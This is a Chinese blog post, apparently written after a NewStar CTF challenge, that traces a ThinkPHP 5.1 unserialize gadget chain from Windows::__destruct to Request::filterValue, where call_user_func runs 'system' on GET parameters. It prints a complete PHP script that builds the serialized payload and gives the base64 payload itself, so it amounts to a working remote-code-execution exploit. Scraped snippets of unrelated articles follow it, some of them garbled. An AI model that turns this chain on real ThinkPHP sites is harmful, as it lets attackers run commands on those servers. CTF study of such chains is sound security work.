基于一道ctf 引发的 TP链分析

2023-11-09

回看 newstarctf week 3 的web题
想了想看看tp链吧
这道题是tp5.1 的版本
链比5.0的 短而且清晰,基于我这个shaluan tp不知道为什么动态调试出了问题 ,就只能静态分析了
首先是定入口
这里5.0和5.1的入口都是一样的
think\process\pipes\Windows.php
在这里插入图片描述他的destruct方法会依次调用其close 方法 和removeFiles 方法
在这里插入图片描述close下没看出什么能利用的地方
在这里插入图片描述这里有个file_exists方法和一个unlink方法 如果有反序列化入口的话 那么这里就是一个任意文件删除了,
反序列化中有个__toString的魔术方法 如果将有该方法的类当作字符串来调用 就会触发这个魔术方法 这里的file_exists 就会触发这个方法
在这里插入图片描述搜一下这个方法这里可以全部点开看看发现只有第一个能有后续的操作
而且因为是漏洞分析所以可以明确指出是第一个类中的toString方法

来到这个Conversion.php中
在这里插入图片描述看到这个方法调用了 toJson的方法

在这里插入图片描述继续调用toArray的方法
在其中我们看到了这样的一个代码段
在这里插入图片描述因为上面都没有return的操作 所以肯定会执行到这里
首先判断$this->append 是否为空
在这里插入图片描述
这个是我们可控的,在一开始反序列化的时候直接传进去就可以了
如果不为空 则把 这个键名 拿出来 看看
这个getRelation方法是如何传参的
在RelationShip.php下找到了这个方法 为什么是这两个类后面讲
在这里插入图片描述看到如果我们不做其他操作是个空值
这样就会调用到getAttr方法
在这里插入图片描述只有一个Attribute有进去看看
在这里插入图片描述他下面是个return $value 所以看看这个 getData方法
在这里插入图片描述这里这个 $name是存在的因为就是我们一开始传进去的键名
因此会调用第一个elseif
在这里插入图片描述所以我们要在类中加一个 $data 的变量,也就是说这个

$relation是我们任意可控的了 然后会执行这个 visible的方法.
这里涉及到另一个魔术方法了 __call 如果调用了一个该类没有的方法那么会自动执行该类的__call方法

md有点多啊 ,这里需要找的是Request下面的call方法
在这里插入图片描述这里如果有动态调试能更清晰的看出结构, 这边可以讲一下 这个 $method就是上面那个不存在的visible方法
因此return 里面的方法是我们可控的 这个Request下有一个input 方法是之前惯用的恶意方法了
但是直接调用input 里面的参数是我们不可控的
在这个类中我们找到了isAjax的方法
在这里插入图片描述他会调用 param的方法
在这里插入图片描述看到 下面参数获取
$this->get 获取get请求的参数
后调用input
因此这个
在这里插入图片描述 $data实际就是 $_GET 获取的参数 在看看getFilter
在这里插入图片描述获取了 $this->filter 因此这里也是可控
在这里插入图片描述
着两个if都会调用filterValue 方法 一个是递归调用 一个调用一次
在这里插入图片描述
call_user_func 调用 $filter 方法 将 $value 作为参数
也就是说这里可以执行任意命令了
到这整条链就结束了下面直接手撸链吧
这里跟大家讲讲为什么会选 Conversion类 以及RelationShip类
在这里插入图片描述在这里插入图片描述
这两个类的定义都是trait,因此不能直接作为反序列化的引用我们需要去找哪个类调用过他们 ,最后结果还是那个令人眼熟的Model类
在这里插入图片描述Model类是个抽象类因此需要去找一个实现它的类
在5.0的版本中 有两个 一个是Merge 一个是Pivot
5.1中只剩个Pivot了
因此整条链的逻辑就出来了

destruct()->removeFiles()->toString()->toJson()->toArray()->__call()->isAjax()->param()->input()->filterValue()->rce

<?php
//命名空间一定要写不然它反序列化自己找不到这个类
namespace think\process\pipes;
use think\model\concern\Conversion;

use think\model\Pivot;

class Windows{
    private $files;
    function __construct(){
        $this->files[]=new Pivot();
    }
}


namespace think\model\concern;
trait Conversion{}
namespace think;
abstract class Model{
    use model\concern\Conversion;
    protected $append ;
    protected $data ;
    function __construct(){
    //这个只是为了进if循环然后两次的键值要对上管你怎么写都行
        $this->append=array('ctfstar'=>['1']);
        $this->data=array('ctfstar'=>new Request());
    }
}


namespace think;
class Request{
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    protected $filter;
    protected $hook = [];
    function __construct(){
        $this->hook=array('visible'=>[$this,'isAjax']);
        //call_user_func_array($this->hook[$method], $args);
        //这个的经典写法了前面是类后面是方法
        $this->config=array('var_ajax'=>'');
        $this->filter='system';
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{}

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
//TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czoxOiJhIjthOjE6e2k6MDtzOjE6IjEiO319czo3OiIAKgBkYXRhIjthOjE6e3M6MToiYSI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo5OiIAKgBjb25maWciO2E6MTp7czo4OiJ2YXJfYWpheCI7czowOiIiO31zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6ODtpOjE7czo2OiJpc0FqYXgiO319fX19fX0=

然后回到buu上起一个靶机测试一下是否成功
在这里插入图片描述这个get传参的键名也随便传都ok的因为是从get里面取出来的,然后传多少个执行多少个
这是tp5.1的链 相较于5.0的两条算是流程较短的了

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

基于一道ctf 引发的 TP链分析 的相关文章

  • 带种子的范围内的随机数

    我一直在努力解决这个问题 但似乎找不到简单的解决方案 我有一个动态网格布局 文章放置在网格上但具有不同的宽度和高度 这些不同文章的宽度和高度可以在访问网站时发生变化 但只有在添加新文章时才会发生变化 问题是我有使用的逻辑mt rand要生成
  • Laravel 使用 Ajax 上传文件

    我正在使用 Laravel 框架 我有一种向数据库添加新项目的形式 在该形式中用户还可以拖放文件 然后 会显示一个进度条 直到完成为止 使用 Ajax 将文件上传到服务器 提交该表格后 我运行addItem在控制器中运行 我想要执行 检查
  • 使用 PHPUnit 和 Mockery 进行 Laravel 测试 - 设置控制器测试的依赖关系

    在终于通过了我愚蠢的简单测试后 我有一种感觉 我做得不对 我有一个 SessionsController 负责显示登录页面并让用户登录 我决定不使用外观 这样我就不必扩展 Laravel 的 TestCase 并在单元测试中承受性能影响 因
  • CodeIgniter 项目给出 303/压缩错误

    尝试设置一个基于 CodeIgniter 的项目进行本地开发 LAMP 堆栈 并且一旦更新了所有配置文件 这意味着我成功地为 CodeIgniter 生成了有意义的引导错误 我在浏览器中收到此错误 Chrome Error 330 net
  • PHP HSV 到 RGB 公式理解

    我可以转换RGB价值观HSV使用以下代码 r r 255 g g 255 b b 255 h 0 s 0 v 0 min min min r g b max max max r g b r max min v max if r 0 h 0
  • 在 PHP 中从 URL 斜杠后获取两个单词

    我需要从 URL 中获取两个单词 例如我有以下 URL http mydomain com alrajhi invoice 108678645541 http mydomain com alrajhi invoice 10867864554
  • 用教义 2 DBAL 连接子查询

    我正在重构 Zend 框架2应用程序使用学说 2 5 DBAL 而不是 Zend DB ZF1 我有以下 Zend Db 查询 subSelect db gt select gt from user survey status entrie
  • Symfony2 捕获会话超时

    我有一个关于 Symfony2 的问题 希望有人能帮助我 Symfony 在哪里检查用户会话以及没有会话时该怎么办 就像重定向到登录页面一样 我发现了一些类似的问题 但不是我的意思 我为什么想知道它 如果有会话超时 我想检查调用是否是 Xm
  • PHP 中的数组按值排序并维护索引关联

    我有一个数组 array array john gt 2 adam gt 3 ben gt 10 tim gt 1 我已经尝试了 PHP 的各种函数来实现这个数组结构 array array tim gt 1 john gt 2 adam
  • 如何在 WordPress 中设置发布日期的格式?

    我有一个侧边栏 我想在其中显示最新的帖子 现在它显示标题 日期和摘录 日期显示了我想要删除的时间 我用这个显示日期 recent post date
  • 如何在 的每四个循环项之后添加

    我想在循环中的每第四个数字项之后退出循环 我想创建一个二十人的名单 在每一个tr应该是4个人 So I want to break from the loop after every 4th number of loop My one tr
  • 不能简单地使用 PostgreSQL 表名(“关系不存在”)

    我正在尝试运行以下 PHP 脚本来执行简单的数据库查询 db host localhost db name showfinder username user password password dbconn pg connect host
  • PHP diff() 给出不正确的值,其中 $date1 = '2016-03-01'

    我使用下面的代码来确定一年内的员工服务 datePay1 new DateTime date1 datePay2 new DateTime date2 interval datePay1 gt diff datePay2 vYears in
  • 如何使用 Codeigniter 从另一个视图中加载视图文件,而无需通过控制器?

    我正在努力寻找此问题的解决方案 我需要从另一个视图中加载视图 我知道 通常我只需要这样做 但这一次 文件路径被传递到数据文件标记的属性 我有 a href 实际上 这是由 JavaScript 函数用来自行加载视图的 因此 当这样做时 它会
  • Laravel 4 Blade @include 变量

    我试图做include使用 Laravel Blade 但问题是它无法传递变量 这是我的示例代码 file include blade php
  • PHP 中是否有像 C++ 一样的纯虚函数

    我本以为很多人会想知道这是否可能 但我找不到任何重复的问题 请纠正我 我只是想知道PHP是否提供纯虚函数 我想要以下 class Parent no implementation given public function foo noth
  • Laravel 5.1 date_format 验证允许两种格式

    我对传入的 POST 请求使用以下日期验证 trep txn date gt date format Y m d H i s u 这只允许这种日期 即 2012 01 21 15 59 44 8 我还想允许没有时间的日期 例如2012 01
  • php 8.1 上的 PHPIDS 已弃用错误 [重复]

    这个问题在这里已经有答案了 我在 PHP 8 1 服务器上遇到 PHPIDS 问题 这里的错误 PHP Deprecated Return type of IDS Report count should either be compatib
  • 在 PHP 数组定义中显示重复键警告

    下面的代码是否可以得到警告 error reporting E ALL s array a gt 1 a gt 1 var export s 你唯一的希望 除了count 你自己 是你的编辑足够聪明 可以突出显示拼写错误 此屏幕截图来自 P
  • 将 rel="nofollow" 添加到 WordPress 帖子中的所有链接

    我想将 rel nofollow 添加到我的 WordPress 帖子中的所有链接 并且我希望能够拥有一个不会获得 nofollow 的链接列表 我已经尝试了很多 但我无法正确完成 因为我真的不能很好地理解正则表达式 所以我有字符串 tex

随机推荐

  • CSS —— html 自动换行

    涉及三个属性 white space 规定如何处理空白 是否换行 默认值 normal 超出时自动换行 word wrap normal 默认 只在内容的断点换行 即不能断开单词 或 break word 长单词内也可换行 word bre
  • Django笔记--python实现将分页功能封装成类

    Django笔记 python实现将分页功能封装成类 对于数据的表格形式呈现 庞大的数据量不可能全部放在一页中 除非数据很少 所以基本上都需要用到分页功能 因此有必要将分页功能封装成一个类 方便使用 pagination py 将分页功能分
  • 探探提醒对方账号异常_我告诉你探探账号异常不能回复消息怎么办

    解决方法 有多种原因 如果是账号被封 无法回复短信 如果是网络异常导致 建议切换网络再回复 如果是软件出现bug 可以进行反馈 在探探3 7 5版本中 打开软件 点击页面右下角的 我 点击设置 选择 帮助与反馈 之后输入遇到的问题 点击提交
  • 代码随想录算法训练营第四十九天

    好像看懂了二维数组 滚动数组还有点懵
  • 教你用简单上手的序列帧动画制作一个Unity的Loading加载界面

    文章目录 一 Loading界面序列帧动画原理 二 准备工作及搭建demo场景 三 核心代码及演示效果 1 核心脚本代码 2 帧动画加载界面效果 一 Loading界面序列帧动画原理 我们都知道电影或者说视频都是由一序列静止画面组成的 动画
  • ElementUI的el-select怎样实现下拉多选并实现给下拉框赋值和获取值

    场景 要实现的效果如下 官方示例代码实现多选 为el select设置multiple属性即可启用多选 此时v model的值为当前选中值所组成的数组 默认情况下选中值会以 Tag 的形式展现 你也可以设置collapse tags属性将它
  • springboot学习(八十三) springboot中自定义某个对象的JSON序列化反序列化方式

    文章目录 前言 一 自定义注解 二 自定义序列化处理 三 自定义反序列化处理 四 使用 前言 springboot可自定义JSON序列化和反序列化方式 一 自定义注解 Retention RetentionPolicy RUNTIME Ja
  • 新浪股票行情数据接口有什么作用?

    通过新浪股票行情数据接口可以让投资者在实际交易当中能够更加精准的洞悉盘口变化 该接口可以说是目前最好用的免费股票行情数据接口了 虽然一直并未公开 但暂时使用良好 大家用浏览器访问新浪的股票行情数据接口就能查看最新行情数据了 那么今天小编简单
  • C++中的内置类型以及类型转换

    在开始介绍类型转换之前 我们先了解一下C 中的数据类型 不太清楚的朋友可以先看下第一部分的介绍 1 C 中的内置类型 C 中的内置内型主要分为基本类型和复合类型 1 1基本类型 基本类型主要指整数和浮点数 而整数又可以分为short int
  • JAVA垃圾回收机制

    大家好 我是皮卡 这次分享的是JAVA垃圾回收机制 如果有需要或是感兴趣的话 就一起看下去吧 目录 一 手动垃圾回收机制 二 自动垃圾回收机制 1 概念 2 判断哪些对象有用 3 finalize方法 final finally final
  • docker 命令学习

    帮助命令 dockers version 显示docker的版本信息 docker info 显示docker的系统信息 包括镜像和容器数量 docker 命令 help 帮助命令 通过这个查看命令参数等 在官方文档查看命令 https d
  • 软件测试(二)——软件测试的方法

    基于直觉和经验的方法 基于经验和直觉推测程序中所有可能存在的各种错误 从而有针对性地设计测试用例 1 Ad hoc测试方法和ALAC测试 ALAC 是Act like a customer 象客户那样做 的简写 ALAC测试方法是一种基于客
  • 虚拟ip的概念

    1 虚拟IP是什么 要是单讲解虚拟 IP 理解起来很困难 所以干脆把 动态 IP 固定 IP 实体 IP 与虚拟 IP都讲解一下 加深理解和知识扩展 实体 IP 在网络的世界里 为了要辨识每一部计算机的位置 因此有了计算机 IP 位址的定义
  • 3-论文笔记--《Privacy-preserving and Efficient Aggregation based on Blockchain for Power Grid...》

    题目 Privacy preserving and Efficient Aggregation based on Blockchain for Power Grid Communications in Smart Communities 基
  • 理解构造器为什么不能被继承

    不能 因为子类继承父类的时候 先运行父类构造函数 具体的说就是运行父类时就会先 调用 父类的构造函数 注意 调用 和继承不是一个含义 实质上是 自动运行 继承 extends 的含义其实是 扩展 子类完全没必要扩展父类的构造函数 因为反正每
  • eslint自定义规则(禁用 localStorage和sessionStorage)

    背景 项目为了统一管理localStorage和sessionStorage 使用了统一的方法对Storage进行存取 为限制项目成员直接使用localStorage和sessionStorage 需要通过eslint对直接引用的形式加以限
  • 我与GPT的一次关于Orb-SLAM3源码(包括2)的深入对话

    目录 一 前言 二 关于Orb SLAM3的代码结构 三 关于system 3 1 关于摄像头初始化 3 2 关于摄像头模型化 3 2关于初始化 四 关于ORBVocabulary 五 关于优化 六 小结 一 前言 Orb SLAM2或者3
  • 【微信小程序】微信退款注意事项及退款通知信息解密

    1 商户退款单号 out refund no 必须唯一 如果不唯一微信端返回的错误提示是 支付单号校验不一致 需要注意 2 退款解密算法注意操作密钥 在此记录下解密代码 1 对加密串A做base64解码 得到加密串B 2 对商户key做md
  • 线程最大线程数什么时候会被创建

    线程最大线程数什么时候会被创建 前言 之前一直错误的以为线程池在执行过程中会先判断核心数然后在判断最大线程数最后才加入队列 完全错误 已经下已代码展示最大线程数量在什么时候才会被创建 1 首先创建一个队列长度只有10的时候 启动10个线程
  • 基于一道ctf 引发的 TP链分析

    回看 newstarctf week 3 的web题 想了想看看tp链吧 这道题是tp5 1 的版本 链比5 0的 短而且清晰 基于我这个shaluan tp不知道为什么动态调试出了问题 就只能静态分析了 首先是定入口 这里5 0和5 1的